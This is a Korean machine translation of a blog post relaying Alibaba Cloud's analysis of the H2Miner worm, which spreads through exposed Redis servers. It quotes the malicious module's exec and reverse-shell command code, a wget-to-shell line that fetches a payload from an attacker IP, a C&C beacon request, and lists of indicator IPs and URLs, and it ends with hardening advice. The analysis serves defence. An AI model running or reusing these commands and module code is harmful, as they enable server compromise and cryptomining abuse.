Redis RCE๋ฅผ ์•…์šฉํ•˜๋Š” H2Miner ์›œ์˜ ์ƒˆ๋กœ์šด ๋ฐœ์ƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

ํ•˜๋ฃจ ์ „, ๋‚ด ํ”„๋กœ์ ํŠธ ์„œ๋ฒ„ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋น„์Šทํ•œ ์›œ์˜ ๊ณต๊ฒฉ์„ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค. "๊ทธ๊ฒŒ ๋ญ์˜€์ง€?"๋ผ๋Š” ์งˆ๋ฌธ์— ๋Œ€ํ•œ ๋‹ต์„ ์ฐพ๊ธฐ ์œ„ํ•ด Alibaba Cloud ๋ณด์•ˆํŒ€์˜ ํ›Œ๋ฅญํ•œ ๊ธฐ์‚ฌ๋ฅผ ์ฐพ์•˜์Šต๋‹ˆ๋‹ค. Habrรฉ์—์„œ ์ด ๊ธฐ์‚ฌ๋ฅผ ์ฐพ์ง€ ๋ชปํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ํŠน๋ณ„ํžˆ ๋‹น์‹ ์„ ์œ„ํ•ด ๋ฒˆ์—ญํ•˜๊ธฐ๋กœ ๊ฒฐ์ •ํ–ˆ์Šต๋‹ˆ๋‹ค <3

๊ธฐ์ž…

์ตœ๊ทผ Alibaba Cloud์˜ ๋ณด์•ˆํŒ€์€ H2Miner์˜ ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด ์ถœํ˜„์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์•…์„ฑ ์›œ์€ ์ธ์ฆ์ด ๋ถ€์กฑํ•˜๊ฑฐ๋‚˜ Redis์— ๋Œ€ํ•œ ์ทจ์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‹œ์Šคํ…œ ๊ฒŒ์ดํŠธ์›จ์ด๋กœ ์‚ฌ์šฉํ•œ ํ›„ ๋งˆ์Šคํ„ฐ-์Šฌ๋ ˆ์ด๋ธŒ ๋™๊ธฐํ™”๋ฅผ ํ†ตํ•ด ์ž์ฒด ์•…์„ฑ ๋ชจ๋“ˆ์„ ์Šฌ๋ ˆ์ด๋ธŒ์™€ ๋™๊ธฐํ™”ํ•˜๊ณ  ์ตœ์ข…์ ์œผ๋กœ ์ด ์•…์„ฑ ๋ชจ๋“ˆ์„ ๊ณต๊ฒฉ๋œ ์‹œ์Šคํ…œ์— ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ง€์นจ.

๊ณผ๊ฑฐ์—๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ Redis์— ๋กœ๊ทธ์ธํ•œ ํ›„ ์‹œ์Šคํ…œ์— ๊ธฐ๋ก๋œ SSH ํ‚ค๋‚˜ ์˜ˆ์•ฝ๋œ ์ž‘์—…๊ณผ ๊ด€๋ จ๋œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๊ณต๊ฒฉ์ด ์ฃผ๋กœ ์ˆ˜ํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹คํ–‰ํžˆ ์ด ๋ฐฉ๋ฒ•์€ ๊ถŒํ•œ ์ œ์–ด ๋ฌธ์ œ๋‚˜ ์‹œ์Šคํ…œ ๋ฒ„์ „ ์ฐจ์ด๋กœ ์ธํ•ด ์ž์ฃผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ์•…์„ฑ ๋ชจ๋“ˆ ๋กœ๋“œ ๋ฐฉ๋ฒ•์€ ๊ณต๊ฒฉ์ž์˜ ๋ช…๋ น์„ ์ง์ ‘ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์…ธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด ์‹œ์Šคํ…œ์— ์œ„ํ—˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ธํ„ฐ๋„ท์— ํ˜ธ์ŠคํŒ…๋˜๋Š” Redis ์„œ๋ฒ„์˜ ์ˆ˜๊ฐ€ ๋งŽ๊ธฐ ๋•Œ๋ฌธ์—(๊ฑฐ์˜ 1๋งŒ ๊ฐœ) Alibaba Cloud์˜ ๋ณด์•ˆ ํŒ€์€ ์‚ฌ์šฉ์ž๊ฐ€ ์˜จ๋ผ์ธ์—์„œ Redis๋ฅผ ๊ณต์œ ํ•˜์ง€ ๋ง๊ณ  ์ •๊ธฐ์ ์œผ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ๊ฐ•๋„์™€ ์†์ƒ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. ๋น ๋ฅธ ์„ ํƒ.

H2Miner

H2Miner๋Š” Hadoop ์›์‚ฌ, Docker ๋ฐ Redis ์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰(RCE) ์ทจ์•ฝ์ ์˜ ์ธ์ฆ ๋ถ€์กฑ์„ ํฌํ•จํ•˜์—ฌ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ์‹œ์Šคํ…œ์— ์นจ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” Linux ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์šฉ ๋งˆ์ด๋‹ ๋ด‡๋„ท์ž…๋‹ˆ๋‹ค. ๋ด‡๋„ท์€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ์™€ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๋งˆ์ด๋‹ํ•˜๊ณ , ๊ณต๊ฒฉ์„ ์ˆ˜ํ‰์ ์œผ๋กœ ํ™•์žฅํ•˜๋ฉฐ, ๋ช…๋ น ๋ฐ ์ œ์–ด(C&C) ํ†ต์‹ ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

๋ ˆ๋””์Šค RCE

์ด ์ฃผ์ œ์— ๋Œ€ํ•œ ์ง€์‹์€ ZeroNights 2018์—์„œ Pavel Toporkov๊ฐ€ ๊ณต์œ ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ฒ„์ „ 4.0 ์ดํ›„ Redis๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • Redis ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด C๋กœ ์ปดํŒŒ์ผ๋œ ํŒŒ์ผ์„ Redis๋กœ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ ๋กœ๋”ฉ ๊ธฐ๋Šฅ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ์œ ์šฉํ•˜๊ธฐ๋Š” ํ•˜์ง€๋งŒ ๋งˆ์Šคํ„ฐ-์Šฌ๋ ˆ์ด๋ธŒ ๋ชจ๋“œ์—์„œ ํŒŒ์ผ์ด ์ „์ฒด ์žฌ๋™๊ธฐํ™” ๋ชจ๋“œ๋ฅผ ํ†ตํ•ด ์Šฌ๋ ˆ์ด๋ธŒ์™€ ๋™๊ธฐํ™”๋  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ so ํŒŒ์ผ์„ ์ „์†กํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ „์†ก์ด ์™„๋ฃŒ๋œ ํ›„ ๊ณต๊ฒฉ์ž๋Š” ๊ณต๊ฒฉ๋ฐ›์€ Redis ์ธ์Šคํ„ด์Šค์— ๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๊ณ  ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์•…์„ฑ์ฝ”๋“œ ์›œ ๋ถ„์„

์ตœ๊ทผ ์•Œ๋ฆฌ๋ฐ”๋ฐ” ํด๋ผ์šฐ๋“œ ๋ณด์•ˆํŒ€์€ H2Miner ์•…์„ฑ ์ฑ„๊ตด์ž ๊ทธ๋ฃน์˜ ๊ทœ๋ชจ๊ฐ€ ๊ฐ‘์ž๊ธฐ ๊ธ‰๊ฒฉํžˆ ์ฆ๊ฐ€ํ•œ ์‚ฌ์‹ค์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ถ„์„์— ๋”ฐ๋ฅด๋ฉด ์ผ๋ฐ˜์ ์ธ ๊ณต๊ฒฉ ๋ฐœ์ƒ ๊ณผ์ •์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

Redis RCE๋ฅผ ์•…์šฉํ•˜๋Š” H2Miner ์›œ์˜ ์ƒˆ๋กœ์šด ๋ฐœ์ƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

H2Miner๋Š” ๋ณธ๊ฒฉ์ ์ธ ๊ณต๊ฒฉ์„ ์œ„ํ•ด RCE Redis๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋จผ์ € ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ Redis ์„œ๋ฒ„๋‚˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ทจ์•ฝํ•œ ์„œ๋ฒ„๋ฅผ ๊ณต๊ฒฉํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. config set dbfilename red2.so ํŒŒ์ผ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด . ๊ทธ ํ›„ ๊ณต๊ฒฉ์ž๋Š” ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. slaveof ๋งˆ์Šคํ„ฐ-์Šฌ๋ ˆ์ด๋ธŒ ๋ณต์ œ ํ˜ธ์ŠคํŠธ ์ฃผ์†Œ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ๋ฐ›์€ Redis ์ธ์Šคํ„ด์Šค๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ์•…์„ฑ Redis์™€ ๋งˆ์Šคํ„ฐ-์Šฌ๋ ˆ์ด๋ธŒ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ํŒŒ์ผ์„ ๋™๊ธฐํ™”ํ•˜๊ธฐ ์œ„ํ•ด fullresync ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ์—ผ๋œ ๋ชจ๋“ˆ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ red2.so ํŒŒ์ผ์ด ๊ณต๊ฒฉ๋ฐ›์€ ์‹œ์Šคํ…œ์— ๋‹ค์šด๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๊ณต๊ฒฉ์ž๋Š” ./red2.so ๋กœ๋”ฉ ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด so ํŒŒ์ผ์„ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“ˆ์€ ๊ณต๊ฒฉ์ž์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์—ญ๋ฐฉํ–ฅ ์—ฐ๊ฒฐ(๋ฐฑ๋„์–ด)์„ ์‹œ์ž‘ํ•˜์—ฌ ๊ณต๊ฒฉ๋ฐ›์€ ์‹œ์Šคํ…œ์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์•…์„ฑ ๋ช…๋ น์„ ์‹คํ–‰ํ•œ ํ›„ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, ๊ณต๊ฒฉ์ž๋Š” ๋ฐฑ์—… ํŒŒ์ผ ์ด๋ฆ„์„ ์žฌ์„ค์ •ํ•˜๊ณ  ์‹œ์Šคํ…œ ๋ชจ๋“ˆ์„ ์–ธ๋กœ๋“œํ•˜์—ฌ ํ”์ ์„ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ red2.so ํŒŒ์ผ์€ ๊ณต๊ฒฉ๋ฐ›์€ ์‹œ์Šคํ…œ์— ๊ณ„์† ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” Redis ์ธ์Šคํ„ด์Šค ํด๋”์— ์˜์‹ฌ์Šค๋Ÿฌ์šด ํŒŒ์ผ์ด ์žˆ๋Š”์ง€ ์ฃผ์˜ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ํ›”์น˜๊ธฐ ์œ„ํ•ด ์ผ๋ถ€ ์•…์„ฑ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋”ฐ๋ผ ์•…์„ฑ ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜์—ฌ 142.44.191.122/ํ‚จ์‹ฑ. ์ด๋Š” ํ˜ธ์ŠคํŠธ์— ํ‚จ์‹ฑ์ด ํฌํ•จ๋œ ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„์ด๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ด๋ฆ„์ด ํ•ด๋‹น ์ปดํ“จํ„ฐ๊ฐ€ ์ด ๋ฐ”์ด๋Ÿฌ์Šค์— ๊ฐ์—ผ๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋ง ๊ฒฐ๊ณผ์— ๋”ฐ๋ฅด๋ฉด ์•…์„ฑ์ฝ”๋“œ๋Š” ์ฃผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

  • ํŒŒ์ผ ์—…๋กœ๋“œ ๋ฐ ์‹คํ–‰
  • ์ฑ„๊ด‘
  • C&C ํ†ต์‹  ์œ ์ง€ ๋ฐ ๊ณต๊ฒฉ์ž ๋ช…๋ น ์‹คํ–‰

Redis RCE๋ฅผ ์•…์šฉํ•˜๋Š” H2Miner ์›œ์˜ ์ƒˆ๋กœ์šด ๋ฐœ์ƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์˜ํ–ฅ๋ ฅ์„ ํ™•๋Œ€ํ•˜๋ ค๋ฉด ์™ธ๋ถ€ ์Šค์บ๋‹์šฉ Masscan์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋˜ํ•œ, ํ”„๋กœ๊ทธ๋žจ์—๋Š” C&C ์„œ๋ฒ„์˜ IP ์ฃผ์†Œ๊ฐ€ ํ•˜๋“œ์ฝ”๋”ฉ๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ณต๊ฒฉ์„ ๋ฐ›์€ ํ˜ธ์ŠคํŠธ๋Š” HTTP ์š”์ฒญ์„ ์ด์šฉํ•ด C&C ํ†ต์‹  ์„œ๋ฒ„์™€ ํ†ต์‹ ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ์ด๋•Œ HTTP ํ—ค๋”์—์„œ ์ข€๋น„(์นจํ•ด๋œ ์„œ๋ฒ„) ์ •๋ณด๊ฐ€ ์‹๋ณ„๋œ๋‹ค.

Redis RCE๋ฅผ ์•…์šฉํ•˜๋Š” H2Miner ์›œ์˜ ์ƒˆ๋กœ์šด ๋ฐœ์ƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

๊ธฐํƒ€ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•

Redis RCE๋ฅผ ์•…์šฉํ•˜๋Š” H2Miner ์›œ์˜ ์ƒˆ๋กœ์šด ๋ฐœ์ƒ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์›œ์ด ์‚ฌ์šฉํ•˜๋Š” ์ฃผ์†Œ์™€ ๋งํฌ

/ํ‚จ์‹ฑ

โ€ข 142.44.191.122/t.sh
โ€ข 185.92.74.42/h.sh
โ€ข 142.44.191.122/spr.sh
โ€ข 142.44.191.122/spre.sh
โ€ข 195.3.146.118/unk.sh

s&c

โ€ข 45.10.88.102
โ€ข 91.215.169.111
โ€ข 139.99.50.255
โ€ข 46.243.253.167
โ€ข 195.123.220.193

์ด์‚ฌํšŒ

์ฒซ์งธ, Redis๋Š” ์ธํ„ฐ๋„ท์—์„œ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์—†์–ด์•ผ ํ•˜๋ฉฐ ๊ฐ•๋ ฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋ณดํ˜ธ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ Redis ๋””๋ ‰ํ„ฐ๋ฆฌ์— red2.so ํŒŒ์ผ์ด ์—†๊ณ  ํ˜ธ์ŠคํŠธ์˜ ํŒŒ์ผ/ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„์— "kinsing"์ด ์—†๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ๋„ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€